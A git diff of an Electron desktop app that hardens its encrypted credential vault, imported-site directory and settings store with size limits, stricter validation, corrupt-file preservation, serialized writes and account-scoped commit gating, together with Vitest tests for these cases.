-      const raw = JSON.parse(await readFile(this.filePath, 'utf8')) as
-        | Partial<EncryptedVaultEnvelope>
-        | undefined
-      if (raw?.version !== VAULT_VERSION || typeof raw.ciphertext !== 'string') return []
-      const parsed = JSON.parse(
-        this.encryption.decryptString(Buffer.from(raw.ciphertext, 'base64'))
-      ) as unknown
-      return Array.isArray(parsed) ? parsed.filter(isCredentialRecord) : []
-    } catch {
-      // A missing, corrupt, or undecryptable vault reads as empty rather than
-      // throwing: the browser must stay usable, and a failed write is where
-      // the user is told something is wrong.
+      const raw = JSON.parse(
+        (await readFileWithinLimit(this.filePath, MAX_VAULT_FILE_BYTES)).toString('utf8')
+      ) as Partial<EncryptedVaultEnvelope> | undefined
+      if (raw?.version !== VAULT_VERSION || typeof raw.ciphertext !== 'string') {
+        this.blockPersistence('invalid-envelope')
+        return []
+      }
+      const decrypted = this.encryption.decryptString(Buffer.from(raw.ciphertext, 'base64'))
+      if (Buffer.byteLength(decrypted, 'utf8') > MAX_VAULT_PAYLOAD_BYTES) {
+        this.blockPersistence('resource-limit')
+        return []
+      }
+      const parsed = JSON.parse(decrypted) as unknown
+      if (
+        !Array.isArray(parsed) ||
+        parsed.length > MAX_CREDENTIAL_RECORDS ||
+        !parsed.every(isCredentialRecord)
+      ) {
+        this.blockPersistence('invalid-payload')
+        return []
+      }
+      this.persistenceState = 'writable'
+      return parsed
+    } catch (error) {
+      if ((error as NodeJS.ErrnoException).code === 'ENOENT') {
+        this.persistenceState = 'writable'
+        return []
+      }
+      if (error instanceof FileResourceLimitError) {
+        this.blockPersistence('resource-limit')
+        return []
+      }
+      this.blockPersistence('read-failed')
       return []
     }
   }
 
+  private blockPersistence(
+    reason: 'invalid-envelope' | 'invalid-payload' | 'read-failed' | 'resource-limit'
+  ): void {
+    if (this.persistenceState !== 'blocked') {
+      logger.warn('Credential vault persistence is unavailable', { reason })
+    }
+    this.persistenceState = 'blocked'
+  }
+
   private async write(records: CredentialRecord[]): Promise<boolean> {
     if (!this.isAvailable()) return false
+    const payload = JSON.stringify(records)
+    if (Buffer.byteLength(payload, 'utf8') > MAX_VAULT_PAYLOAD_BYTES) return false
     const envelope: EncryptedVaultEnvelope = {
       version: VAULT_VERSION,
-      ciphertext: this.encryption.encryptString(JSON.stringify(records)).toString('base64'),
+      ciphertext: this.encryption.encryptString(payload).toString('base64'),
     }
     await writeJsonFileAtomically(this.filePath, envelope)
     return true
@@ -251,7 +313,17 @@ export class CredentialVault {
       for (const candidate of candidates) {
         const origin = normalizeOrigin(candidate.origin)
         const username = normalizeUsername(candidate.username)
-        if (origin === null || candidate.password.length === 0) {
+        const icon =
+          candidate.icon && candidate.icon.length <= MAX_CREDENTIAL_ICON_LENGTH
+            ? candidate.icon
+            : undefined
+        if (
+          origin === null ||
+          origin.length > MAX_CREDENTIAL_ORIGIN_LENGTH ||
+          username.length > MAX_LOGIN_NAME_LENGTH ||
+          candidate.password.length === 0 ||
+          candidate.password.length > MAX_SECRET_VALUE_LENGTH
+        ) {
           outcome.skipped += 1
           continue
         }
@@ -262,8 +334,8 @@ export class CredentialVault {
           if (policy === 'keep-existing' || existing.password === candidate.password) {
             // A re-import still refreshes a missing icon; that is not a
             // credential change, so it does not count as an update.
-            if (candidate.icon && !existing.icon) {
-              existing.icon = candidate.icon
+            if (icon && !existing.icon) {
+              existing.icon = icon
               iconsAdded = true
             }
             outcome.skipped += 1
@@ -272,17 +344,21 @@ export class CredentialVault {
           existing.password = candidate.password
           existing.updatedAt = timestamp
           existing.source = 'chrome'
-          if (candidate.icon) existing.icon = candidate.icon
+          if (icon) existing.icon = icon
           outcome.updated += 1
           continue
         }
 
+        if (records.length >= MAX_CREDENTIAL_RECORDS) {
+          outcome.skipped += 1
+          continue
+        }
         const record: CredentialRecord = {
           id: generateId(),
           origin,
           username,
           password: candidate.password,
-          ...(candidate.icon ? { icon: candidate.icon } : {}),
+          ...(icon ? { icon } : {}),
           createdAt: timestamp,
           updatedAt: timestamp,
           source: 'chrome',
@@ -305,6 +381,9 @@ export class CredentialVault {
    * machine cannot inherit the previous user's passwords.
    */
   async clear(): Promise<void> {
-    await this.serializeMutation(() => removeFileIfPresent(this.filePath))
+    await this.serializeMutation(async () => {
+      await removeFileIfPresent(this.filePath)
+      this.persistenceState = 'writable'
+    })
   }
 }
diff --git a/apps/desktop/src/main/browser-import/import-service.test.ts b/apps/desktop/src/main/browser-import/import-service.test.ts
index b29395a14c9..f1c9567c1a7 100644
--- a/apps/desktop/src/main/browser-import/import-service.test.ts
+++ b/apps/desktop/src/main/browser-import/import-service.test.ts
@@ -81,6 +81,7 @@ function createDeps(overrides: Partial<ImportServiceDeps> = {}): ImportServiceDe
     readFavicons: async () => new Map<string, string>(),
     readSites: async () => [],
     rememberSites: async () => {},
+    commit: (operation) => operation(),
     vault: {
       isAvailable: () => true,
       importCredentials: async (candidates) => ({
@@ -347,6 +348,31 @@ describe('importChromeCookies', () => {
 })
 
 describe('importChromePasswords', () => {
+  it('does not commit passwords when account teardown begins during the source read', async () => {
+    let releaseRead: ((result: ReadPasswordsResult) => void) | undefined
+    const readResult = new Promise<ReadPasswordsResult>((resolve) => {
+      releaseRead = resolve
+    })
+    let current = true
+    const importCredentials = vi.fn(async () => ({ added: 1, updated: 0, skipped: 0 }))
+    const deps = createDeps({
+      readPasswords: () => readResult,
+      commit: async (operation) => {
+        if (!current) throw new Error('account expired')
+        return operation()
+      },
+      vault: { isAvailable: () => true, importCredentials },
+    })
+
+    const pending = importChromePasswords(undefined, 'keep-existing', deps)
+    await vi.waitFor(() => expect(releaseRead).toBeTypeOf('function'))
+    current = false
+    releaseRead?.(readPasswords())
+
+    await expect(pending).resolves.toMatchObject({ error: 'unknown' })
+    expect(importCredentials).not.toHaveBeenCalled()
+  })
+
   it('stores decrypted passwords in the vault and reports counts', async () => {
     const importCredentials = vi.fn(async () => ({ added: 2, updated: 1, skipped: 0 }))
     const deps = createDeps({
diff --git a/apps/desktop/src/main/browser-import/import-service.ts b/apps/desktop/src/main/browser-import/import-service.ts
index 8ea65498a49..11c943efa12 100644
--- a/apps/desktop/src/main/browser-import/import-service.ts
+++ b/apps/desktop/src/main/browser-import/import-service.ts
@@ -43,6 +43,8 @@ export interface ImportServiceDeps {
   readSites: (historyPath: string, domains: ReadonlySet<string>) => Promise<ImportedSite[]>
   /** Records the hosts an import brought over, with their names and icons. */
   rememberSites: (records: readonly SiteRecord[]) => Promise<void>
+  /** Admits a final persistent write only while its originating account is current. */
+  commit: <T>(operation: () => Promise<T>) => Promise<T>
   vault: {
     isAvailable: () => boolean
     importCredentials: (
@@ -218,7 +220,7 @@ async function runCookieImport(
     }
   }
 
-  const written = await deps.writeCookies(read.cookies)
+  const written = await deps.commit(() => deps.writeCookies(read.cookies))
   const result: BrowserImportResult = {
     cookiesImported: written.imported,
     cookiesSkipped: skippedReading + written.failed,
@@ -294,10 +296,8 @@ async function runPasswordImport(
   const candidates = read.credentials.map(
     ({ sourceModifiedAt: _sourceModifiedAt, ...candidate }) => candidate
   )
-  const outcome = await deps.vault.importCredentials(
-    await withFavicons(candidates, profile.faviconsPath, deps),
-    policy
-  )
+  const importedCandidates = await withFavicons(candidates, profile.faviconsPath, deps)
+  const outcome = await deps.commit(() => deps.vault.importCredentials(importedCandidates, policy))
   const result: BrowserPasswordImportResult = {
     passwordsAdded: outcome.added,
     passwordsUpdated: outcome.updated,
@@ -558,14 +558,16 @@ async function rememberImportedSites(
       : new Map<string, string>()
 
     const importedAt = new Date().toISOString()
-    await deps.rememberSites(
-      sites.map((site) => ({
-        hostname: site.hostname,
-        name: site.name,
-        icon: icons.get(originOf(site.hostname)),
-        visits: site.visits,
-        importedAt,
-      }))
+    await deps.commit(() =>
+      deps.rememberSites(
+        sites.map((site) => ({
+          hostname: site.hostname,
+          name: site.name,
+          icon: icons.get(originOf(site.hostname)),
+          visits: site.visits,
+          importedAt,
+        }))
+      )
     )
   } catch {
     // Category only, like every other failure path here: the detail that would
diff --git a/apps/desktop/src/main/browser-import/index.ts b/apps/desktop/src/main/browser-import/index.ts
index 92ec971868d..299de7bcceb 100644
--- a/apps/desktop/src/main/browser-import/index.ts
+++ b/apps/desktop/src/main/browser-import/index.ts
@@ -5,6 +5,10 @@ import type {
   BrowserImportResult,
   BrowserPasswordImportResult,
 } from '@sim/desktop-bridge'
+import {
+  captureAccountDataGeneration,
+  runAccountDataMutation,
+} from '@/main/account-data-generation'
 import { importAgentCookies } from '@/main/browser-agent/session'
 import { credentialsAvailable, importCredentials } from '@/main/browser-credentials'
 import { readBrowserCookies } from '@/main/browser-import/chromium-cookies'
@@ -28,6 +32,7 @@ import { rememberSites } from '@/main/browser-sites'
  * `import-service`. The IPC layer talks to this module and nothing deeper.
  */
 function deps(): ImportServiceDeps {
+  const generation = captureAccountDataGeneration()
   return {
     platform: process.platform,
     listProfiles: () => listAllBrowserProfiles(),
@@ -38,6 +43,7 @@ function deps(): ImportServiceDeps {
     readFavicons: (faviconsPath, origins) => readBrowserFavicons(faviconsPath, origins),
     readSites: (historyPath, domains) => readBrowserSites(historyPath, domains),
     rememberSites: (records) => rememberSites(records),
+    commit: (operation) => runAccountDataMutation(generation, operation),
     vault: {
       isAvailable: () => credentialsAvailable(),
       importCredentials: (candidates, policy) => importCredentials(candidates, policy),
diff --git a/apps/desktop/src/main/browser-sites/directory.test.ts b/apps/desktop/src/main/browser-sites/directory.test.ts
index af3c1919f4b..68d3643d831 100644
--- a/apps/desktop/src/main/browser-sites/directory.test.ts
+++ b/apps/desktop/src/main/browser-sites/directory.test.ts
@@ -1,4 +1,4 @@
-import { mkdtemp, readFile, rm, writeFile } from 'node:fs/promises'
+import { mkdtemp, readFile, rm, stat, truncate, writeFile } from 'node:fs/promises'
 import { tmpdir } from 'node:os'
 import { join } from 'node:path'
 import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
@@ -74,6 +74,32 @@ describe('SiteDirectory', () => {
     ])
   })
 
+  it('keeps sites from concurrent imports', async () => {
+    const store = open()
+
+    await Promise.all([
+      store.remember([{ hostname: 'github.com', name: 'GitHub' }]),
+      store.remember([{ hostname: 'linear.app', name: 'Linear' }]),
+    ])
+
+    expect((await store.list()).map((site) => site.hostname).sort()).toEqual([
+      'github.com',
+      'linear.app',
+    ])
+  })
+
+  it('applies concurrent imports and clear in invocation order', async () => {
+    const store = open()
+
+    await Promise.all([
+      store.remember([{ hostname: 'github.com', name: 'GitHub' }]),
+      store.clear(),
+      store.remember([{ hostname: 'linear.app', name: 'Linear' }]),
+    ])
+
+    expect(await store.list()).toEqual([{ hostname: 'linear.app', name: 'Linear' }])
+  })
+
   it('keeps an existing icon when a later import only learns a name', async () => {
     const store = open()
     await store.remember([{ hostname: 'github.com', icon: 'data:png' }])
@@ -204,19 +230,44 @@ describe('SiteDirectory', () => {
     await expect(readFile(path)).rejects.toThrow()
   })
 
-  it('reads as empty rather than throwing on a corrupt file', async () => {
-    await writeFile(path, 'not json at all')
+  it('preserves a corrupt file until clear explicitly resets persistence', async () => {
+    const original = 'not json at all'
+    await writeFile(path, original)
+    const store = open()
 
-    expect(await open().list()).toEqual([])
+    expect(await store.list()).toEqual([])
+    expect(store.isAvailable()).toBe(false)
+    await store.remember([{ hostname: 'github.com', name: 'GitHub' }])
+    expect(await readFile(path, 'utf8')).toBe(original)
+
+    const clearing = store.clear()
+    const remembering = store.remember([{ hostname: 'github.com', name: 'GitHub' }])
+    await Promise.all([clearing, remembering])
+    expect(store.isAvailable()).toBe(true)
+    expect(await store.list()).toEqual([{ hostname: 'github.com', name: 'GitHub' }])
   })
 
-  it('ignores a directory written by a future version', async () => {
-    await writeFile(path, JSON.stringify({ version: 99, payload: 'whatever' }))
+  it('does not overwrite a directory written by a future version', async () => {
+    const original = JSON.stringify({ version: 99, payload: 'whatever' })
+    await writeFile(path, original)
+    const store = open()
 
-    expect(await open().list()).toEqual([])
+    expect(await store.list()).toEqual([])
+    await store.remember([{ hostname: 'github.com', name: 'GitHub' }])
+    expect(await readFile(path, 'utf8')).toBe(original)
   })
 
-  it('drops a directory written before imported hosts became suggestions', async () => {
+  it('does not overwrite a malformed legacy directory', async () => {
+    const original = JSON.stringify({ version: 1 })
+    await writeFile(path, original)
+    const store = open()
+
+    expect(await store.list()).toEqual([])
+    await store.remember([{ hostname: 'github.com', name: 'GitHub' }])
+    expect(await readFile(path, 'utf8')).toBe(original)
+  })
+
+  it('replaces a valid legacy directory on the next import', async () => {
     // Version 1 was seeded from imported cookie hosts — mostly ad and analytics
     // origins — and those records only ever decorated a host the omnibox already
     // had. Version 2 records are offered as suggestions in their own right, so
@@ -224,15 +275,47 @@ describe('SiteDirectory', () => {
     // dropdown. The payload below decrypts cleanly; it is discarded on meaning,
     // not on damage.
     const version1: SiteRecord[] = [{ hostname: 'doubleclick.net', name: 'DoubleClick' }]
-    await writeFile(
-      path,
-      JSON.stringify({
-        version: 1,
-        payload: encryption.encryptString(JSON.stringify(version1)).toString('base64'),
-      })
-    )
+    const original = JSON.stringify({
+      version: 1,
+      payload: encryption.encryptString(JSON.stringify(version1)).toString('base64'),
+    })
+    await writeFile(path, original)
 
-    expect(await open().list()).toEqual([])
+    const store = open()
+    expect(await store.list()).toEqual([])
+
+    await store.remember([{ hostname: 'github.com', name: 'GitHub' }])
+    expect(await store.list()).toEqual([{ hostname: 'github.com', name: 'GitHub' }])
+    expect(await readFile(path, 'utf8')).not.toBe(original)
+  })
+
+  it('preserves an oversized directory until explicit clear', async () => {
+    await writeFile(path, '')
+    await truncate(path, 16 * 1024 * 1024 + 1)
+    const store = open()
+
+    expect(await store.list()).toEqual([])
+    expect(store.isAvailable()).toBe(false)
+    await store.remember([{ hostname: 'github.com', name: 'GitHub' }])
+    expect((await stat(path)).size).toBe(16 * 1024 * 1024 + 1)
+
+    await store.clear()
+    await store.remember([{ hostname: 'github.com', name: 'GitHub' }])
+    expect(await store.list()).toEqual([{ hostname: 'github.com', name: 'GitHub' }])
+  })
+
+  it('blocks stored site records with invalid field values', async () => {
+    const payload = [{ hostname: 'github.com', visits: -1 }]
+    const original = JSON.stringify({
+      version: 2,
+      payload: encryption.encryptString(JSON.stringify(payload)).toString('base64'),
+    })
+    await writeFile(path, original)
+    const store = open()
+
+    expect(await store.list()).toEqual([])
+    await store.remember([{ hostname: 'linear.app', name: 'Linear' }])
+    expect(await readFile(path, 'utf8')).toBe(original)
   })
 
   it('skips an entry with no hostname to key it by', async () => {
diff --git a/apps/desktop/src/main/browser-sites/directory.ts b/apps/desktop/src/main/browser-sites/directory.ts
index ba135bb2836..994b5e79585 100644
--- a/apps/desktop/src/main/browser-sites/directory.ts
+++ b/apps/desktop/src/main/browser-sites/directory.ts
@@ -1,6 +1,11 @@
-import { readFile } from 'node:fs/promises'
+import { createLogger } from '@sim/logger'
 import { safeStorage } from 'electron'
-import { removeFileIfPresent, writeJsonFileAtomically } from '@/main/atomic-json-file'
+import {
+  FileResourceLimitError,
+  readFileWithinLimit,
+  removeFileIfPresent,
+  writeJsonFileAtomically,
+} from '@/main/atomic-json-file'
 
 /**
  * What the sites brought over from another browser are called, and what they
@@ -30,6 +35,13 @@ import { removeFileIfPresent, writeJsonFileAtomically } from '@/main/atomic-json
  * trade for a cache of someone else's data that is now user-visible.
  */
 const DIRECTORY_VERSION = 2
+const MAX_DIRECTORY_FILE_BYTES = 16 * 1024 * 1024
+const MAX_DIRECTORY_PAYLOAD_BYTES = 10 * 1024 * 1024
+const MAX_SITE_HOSTNAME_LENGTH = 253
+const MAX_SITE_NAME_LENGTH = 512
+const MAX_SITE_ICON_LENGTH = 512 * 1024
+const MAX_SITE_TIMESTAMP_LENGTH = 64
+const logger = createLogger('BrowserSiteDirectory')
 
 /**
  * Hosts kept across all imports. Bounded because every record can carry an
@@ -69,11 +81,24 @@ interface EncryptedDirectoryEnvelope {
 }
 
 function isSiteRecord(value: unknown): value is SiteRecord {
+  if (!value || typeof value !== 'object' || Array.isArray(value)) return false
+  const record = value as Record<string, unknown>
   return (
-    typeof value === 'object' &&
-    value !== null &&
-    typeof (value as SiteRecord).hostname === 'string' &&
-    (value as SiteRecord).hostname !== ''
+    typeof record.hostname === 'string' &&
+    record.hostname.length > 0 &&
+    record.hostname.length <= MAX_SITE_HOSTNAME_LENGTH &&
+    (record.name === undefined ||
+      (typeof record.name === 'string' && record.name.length <= MAX_SITE_NAME_LENGTH)) &&
+    (record.icon === undefined ||
+      (typeof record.icon === 'string' && record.icon.length <= MAX_SITE_ICON_LENGTH)) &&
+    (record.visits === undefined ||
+      (typeof record.visits === 'number' &&
+        Number.isSafeInteger(record.visits) &&
+        record.visits >= 0)) &&
+    (record.importedAt === undefined ||
+      (typeof record.importedAt === 'string' &&
+        record.importedAt.length <= MAX_SITE_TIMESTAMP_LENGTH &&
+        Number.isFinite(Date.parse(record.importedAt))))
   )
 }
 
@@ -111,6 +136,9 @@ interface EncryptionProvider {
 }
 
 export class SiteDirectory {
+  private persistenceState: 'unknown' | 'writable' | 'blocked' = 'unknown'
+  private mutationTail = Promise.resolve()
+
   constructor(
     private readonly filePath: string,
     private readonly encryption: EncryptionProvider = safeStorage
@@ -123,7 +151,7 @@ export class SiteDirectory {
    */
   isAvailable(): boolean {
     try {
-      return this.encryption.isEncryptionAvailable()
+      return this.persistenceState !== 'blocked' && this.encryption.isEncryptionAvailable()
     } catch {
       return false
     }
@@ -132,32 +160,75 @@ export class SiteDirectory {
   private async read(): Promise<SiteRecord[]> {
     if (!this.isAvailable()) return []
     try {
-      const raw = await readFile(this.filePath)
+      const raw = await readFileWithinLimit(this.filePath, MAX_DIRECTORY_FILE_BYTES)
       const envelope = JSON.parse(raw.toString('utf8')) as EncryptedDirectoryEnvelope
-      if (envelope.version !== DIRECTORY_VERSION) return []
+      const isLegacyEnvelope =
+        envelope.version === 1 &&
+        typeof envelope.payload === 'string' &&
+        Object.keys(envelope).length === 2
+      if (
+        (!isLegacyEnvelope && envelope.version !== DIRECTORY_VERSION) ||
+        typeof envelope.payload !== 'string'
+      ) {
+        this.blockPersistence('invalid-envelope')
+        return []
+      }
       const decrypted = this.encryption.decryptString(Buffer.from(envelope.payload, 'base64'))
-      const records = JSON.parse(decrypted) as SiteRecord[]
-      // Per-record, not just per-array: everything downstream sorts and merges
-      // on `hostname`, so one entry without it is a TypeError in the middle of
-      // an import rather than a record that is quietly skipped.
-      return Array.isArray(records) ? records.filter(isSiteRecord) : []
-    } catch {
-      // A missing, truncated, or foreign-keyed file reads as empty rather than
-      // taking the omnibox down with it.
+      if (Buffer.byteLength(decrypted, 'utf8') > MAX_DIRECTORY_PAYLOAD_BYTES) {
+        this.blockPersistence('resource-limit')
+        return []
+      }
+      const records = JSON.parse(decrypted) as unknown
+      if (!Array.isArray(records) || records.length > MAX_SITES || !records.every(isSiteRecord)) {
+        this.blockPersistence('invalid-payload')
+        return []
+      }
+      this.persistenceState = 'writable'
+      return isLegacyEnvelope ? [] : records
+    } catch (error) {
+      if ((error as NodeJS.ErrnoException).code === 'ENOENT') {
+        this.persistenceState = 'writable'
+        return []
+      }
+      if (error instanceof FileResourceLimitError) {
+        this.blockPersistence('resource-limit')
+        return []
+      }
+      this.blockPersistence('read-failed')
       return []
     }
   }
 
+  private blockPersistence(
+    reason: 'invalid-envelope' | 'invalid-payload' | 'read-failed' | 'resource-limit'
+  ): void {
+    if (this.persistenceState !== 'blocked') {
+      logger.warn('Browser site directory persistence is unavailable', { reason })
+    }
+    this.persistenceState = 'blocked'
+  }
+
   private async write(records: SiteRecord[]): Promise<boolean> {
     if (!this.isAvailable()) return false
+    const payload = JSON.stringify(records)
+    if (Buffer.byteLength(payload, 'utf8') > MAX_DIRECTORY_PAYLOAD_BYTES) return false
     const envelope: EncryptedDirectoryEnvelope = {
       version: DIRECTORY_VERSION,
-      payload: this.encryption.encryptString(JSON.stringify(records)).toString('base64'),
+      payload: this.encryption.encryptString(payload).toString('base64'),
     }
     await writeJsonFileAtomically(this.filePath, envelope)
     return true
   }
 
+  private enqueueMutation<T>(operation: () => Promise<T>): Promise<T> {
+    const result = this.mutationTail.then(operation)
+    this.mutationTail = result.then(
+      () => undefined,
+      () => undefined
+    )
+    return result
+  }
+
   async list(): Promise<SiteRecord[]> {
     return this.read()
   }
@@ -170,28 +241,34 @@ export class SiteDirectory {
    * importing a second profile should add to what the browser knows, not
    * strip the first profile's sites of their names.
    */
-  async remember(records: readonly SiteRecord[]): Promise<void> {
-    if (records.length === 0 || !this.isAvailable()) return
-    const merged = new Map<string, SiteRecord>()
-    for (const existing of await this.read()) merged.set(existing.hostname, existing)
-    for (const incoming of records) {
-      if (!incoming.hostname) continue
-      const existing = merged.get(incoming.hostname)
-      merged.set(incoming.hostname, {
-        hostname: incoming.hostname,
-        name: incoming.name ?? existing?.name,
-        icon: incoming.icon ?? existing?.icon,
-        // The most-used of the profiles a host was seen in wins, so re-importing
-        // a profile that barely touches a site cannot demote it.
-        visits: maxDefined(incoming.visits, existing?.visits),
-        importedAt: incoming.importedAt ?? existing?.importedAt,
-      })
-    }
-    await this.write(evictExcess([...merged.values()]))
+  remember(records: readonly SiteRecord[]): Promise<void> {
+    if (records.length === 0) return Promise.resolve()
+    return this.enqueueMutation(async () => {
+      if (!this.isAvailable()) return
+      const merged = new Map<string, SiteRecord>()
+      for (const existing of await this.read()) merged.set(existing.hostname, existing)
+      for (const incoming of records) {
+        if (!isSiteRecord(incoming)) continue
+        const existing = merged.get(incoming.hostname)
+        merged.set(incoming.hostname, {
+          hostname: incoming.hostname,
+          name: incoming.name ?? existing?.name,
+          icon: incoming.icon ?? existing?.icon,
+          // The most-used of the profiles a host was seen in wins, so re-importing
+          // a profile that barely touches a site cannot demote it.
+          visits: maxDefined(incoming.visits, existing?.visits),
+          importedAt: incoming.importedAt ?? existing?.importedAt,
+        })
+      }
+      await this.write(evictExcess([...merged.values()]))
+    })
   }
 
   /** Forgets every site. Runs with the rest of the browser teardown. */
-  async clear(): Promise<void> {
-    await removeFileIfPresent(this.filePath)
+  clear(): Promise<void> {
+    return this.enqueueMutation(async () => {
+      await removeFileIfPresent(this.filePath)
+      this.persistenceState = 'writable'
+    })
   }
 }
diff --git a/apps/desktop/src/main/config.test.ts b/apps/desktop/src/main/config.test.ts
index ed60924a261..41df6dae8b4 100644
--- a/apps/desktop/src/main/config.test.ts
+++ b/apps/desktop/src/main/config.test.ts
@@ -1,6 +1,6 @@
-import { mkdtempSync, readFileSync, writeFileSync } from 'node:fs'
+import { mkdirSync, mkdtempSync, readdirSync, readFileSync, rmSync, writeFileSync } from 'node:fs'
 import { tmpdir } from 'node:os'
-import { join } from 'node:path'
+import { dirname, join } from 'node:path'
 import { describe, expect, it } from 'vitest'
 import {
   APP_NAME_FOR_CHANNEL,
@@ -180,23 +180,58 @@ describe('createConfigStore', () => {
     expect(reloaded.getOrigin()).toBe('https://www.sim.ai')
   })
 
-  it('recovers from a corrupted settings file', () => {
+  it('uses safe defaults until an explicit server choice replaces the corrupt file', () => {
     const filePath = tempSettingsPath()
-    writeFileSync(filePath, '{not json')
+    const original = '{not json'
+    writeFileSync(filePath, original)
     const store = createConfigStore(filePath, {})
+
+    expect(store.isPersistenceAvailable()).toBe(false)
     expect(store.getOrigin()).toBe(DEFAULT_ORIGIN)
+    store.set('zoomLevel', 1.5)
+    store.flush()
+    expect(readFileSync(filePath, 'utf8')).toBe(original)
+
+    expect(store.setOrigin('https://self-hosted.example')).toEqual({
+      ok: true,
+      origin: 'https://self-hosted.example',
+    })
+    expect(store.isPersistenceAvailable()).toBe(true)
+    expect(JSON.parse(readFileSync(filePath, 'utf8')).origin).toBe('https://self-hosted.example')
+    const settingsDirectory = dirname(filePath)
+    const backups = readdirSync(settingsDirectory).filter((name) => name.includes('.corrupt-'))
+    expect(backups).toHaveLength(0)
   })
 
-  it('falls back to the default origin when the stored origin is invalid', () => {
+  it('does not carry settings across an invalid stored origin or retain them after repair', () => {
     const filePath = tempSettingsPath()
-    writeFileSync(filePath, JSON.stringify({ origin: 'http://evil.example' }))
+    const original = JSON.stringify({
+      origin: 'http://evil.example',
+      browserKnownSites: [{ hostname: 'private.example', lastVisitedAt: '2026-01-01' }],
+      browserDownloadDirectory: '/private/downloads',
+    })
+    writeFileSync(filePath, original)
     const store = createConfigStore(filePath, {})
+
+    expect(store.isPersistenceAvailable()).toBe(false)
     expect(store.getOrigin()).toBe(DEFAULT_ORIGIN)
+    expect(store.get('browserKnownSites')).toBeUndefined()
+    expect(store.get('browserDownloadDirectory')).toBeUndefined()
+    store.set('zoomLevel', 2)
+    store.flush()
+    expect(readFileSync(filePath, 'utf8')).toBe(original)
+
+    expect(store.setOrigin('https://self-hosted.example').ok).toBe(true)
+    const repaired = JSON.parse(readFileSync(filePath, 'utf8'))
+    expect(repaired.browserKnownSites).toBeUndefined()
+    expect(repaired.browserDownloadDirectory).toBeUndefined()
+    expect(readFileSync(filePath, 'utf8')).not.toContain('private.example')
   })
 
   it('honors a valid SIM_DESKTOP_ORIGIN override without persisting it', () => {
     const filePath = tempSettingsPath()
     const store = createConfigStore(filePath, { SIM_DESKTOP_ORIGIN: 'http://127.0.0.1:4600' })
+    expect(store.isPersistenceAvailable()).toBe(true)
     expect(store.getOrigin()).toBe('http://127.0.0.1:4600')
     store.set('zoomLevel', 1)
     store.flush()
@@ -236,6 +271,33 @@ describe('createConfigStore', () => {
     expect(JSON.parse(readFileSync(filePath, 'utf8')).origin).toBe('https://sim.example.com')
   })
 
+  it('keeps the active origin unchanged when its immediate write fails', () => {
+    const filePath = tempSettingsPath()
+    const parent = dirname(filePath)
+    const store = createConfigStore(filePath, {})
+    rmSync(parent, { recursive: true })
+    writeFileSync(parent, 'not a directory')
+
+    try {
+      expect(store.setOrigin('https://sim.example.com')).toEqual({
+        ok: false,
+        error: 'Could not save the desktop settings file',
+      })
+      expect(store.getOrigin()).toBe(DEFAULT_ORIGIN)
+      expect(store.isPersistenceAvailable()).toBe(false)
+
+      rmSync(parent)
+      mkdirSync(parent)
+      expect(store.setOrigin('https://sim.example.com')).toEqual({
+        ok: true,
+        origin: 'https://sim.example.com',
+      })
+      expect(store.isPersistenceAvailable()).toBe(true)
+    } finally {
+      rmSync(parent, { recursive: true, force: true })
+    }
+  })
+
   it('ignores an invalid SIM_DESKTOP_ORIGIN override', () => {
     const store = createConfigStore(tempSettingsPath(), {
       SIM_DESKTOP_ORIGIN: 'http://evil.example',
diff --git a/apps/desktop/src/main/config.ts b/apps/desktop/src/main/config.ts
index 14ce4b00f8d..30c00528b10 100644
--- a/apps/desktop/src/main/config.ts
+++ b/apps/desktop/src/main/config.ts
@@ -240,12 +240,13 @@ const DEFAULT_SETTINGS: DesktopSettings = {
 
 export interface ConfigStore {
   readonly filePath: string
+  isPersistenceAvailable(): boolean
   getOrigin(): string
   setOrigin(origin: string): OriginValidation
   get<K extends keyof DesktopSettings>(key: K): DesktopSettings[K]
   set<K extends keyof DesktopSettings>(key: K, value: DesktopSettings[K]): void
-  /** Writes any debounced change immediately. Called on quit. */
-  flush(): void
+  /** Writes any debounced change immediately and reports whether persistence is healthy. */
+  flush(): boolean
 }
 
 /**
@@ -277,21 +278,38 @@ export function createConfigStore(
 ): ConfigStore {
   let settings: DesktopSettings = { ...DEFAULT_SETTINGS }
   let rewroteOrigin = false
+  let persistenceBlocked = false
   try {
-    const parsed = JSON.parse(readFileSync(filePath, 'utf8')) as Partial<DesktopSettings>
-    settings = { ...DEFAULT_SETTINGS, ...parsed }
-    const validated = validateOriginInput(settings.origin)
-    const loaded = validated.ok ? validated.origin : DEFAULT_ORIGIN
-    settings.origin = canonicalOrigin(loaded)
-    rewroteOrigin = settings.origin !== loaded
-    if (rewroteOrigin) {
-      logger.info('Rewrote stored server origin to its canonical form', {
-        from: loaded,
-        to: settings.origin,
-      })
+    const parsed = JSON.parse(readFileSync(filePath, 'utf8')) as unknown
+    if (!parsed || typeof parsed !== 'object' || Array.isArray(parsed)) {
+      persistenceBlocked = true
+    } else {
+      const loadedSettings = { ...DEFAULT_SETTINGS, ...(parsed as Partial<DesktopSettings>) }
+      const validated = validateOriginInput(loadedSettings.origin)
+      if (!validated.ok) {
+        persistenceBlocked = true
+      } else {
+        const loaded = validated.origin
+        settings = loadedSettings
+        settings.origin = canonicalOrigin(loaded)
+        rewroteOrigin = settings.origin !== loaded
+        if (rewroteOrigin) {
+          logger.info('Rewrote stored server origin to its canonical form', {
+            from: loaded,
+            to: settings.origin,
+          })
+        }
+      }
     }
-  } catch {
+  } catch (error) {
+    if ((error as NodeJS.ErrnoException).code !== 'ENOENT') {
+      persistenceBlocked = true
+    }
+  }
+  if (persistenceBlocked) {
     settings = { ...DEFAULT_SETTINGS }
+    rewroteOrigin = false
+    logger.warn('Desktop settings persistence is unavailable because the existing file is invalid')
   }
 
   const envOverride = env.SIM_DESKTOP_ORIGIN ? validateOriginInput(env.SIM_DESKTOP_ORIGIN) : null
@@ -302,13 +320,17 @@ export function createConfigStore(
   let saveTimer: ReturnType<typeof setTimeout> | null = null
 
   /** Writes the whole file now and cancels any pending debounced write. */
-  const writeNow = () => {
+  const writeNow = (): boolean => {
     if (saveTimer) clearTimeout(saveTimer)
     saveTimer = null
+    if (persistenceBlocked) return false
     try {
       writeJsonFileAtomicallySync(filePath, settings, SETTINGS_INDENT)
+      return true
     } catch (error) {
+      persistenceBlocked = true
       logger.error('Failed to persist desktop settings', { error })
+      return false
     }
   }
 
@@ -322,7 +344,7 @@ export function createConfigStore(
    * not were paying a full fsync per event.
    */
   const save = () => {
-    if (saveTimer) return
+    if (persistenceBlocked || saveTimer) return
     saveTimer = setTimeout(writeNow, SAVE_DEBOUNCE_MS)
     saveTimer.unref?.()
   }
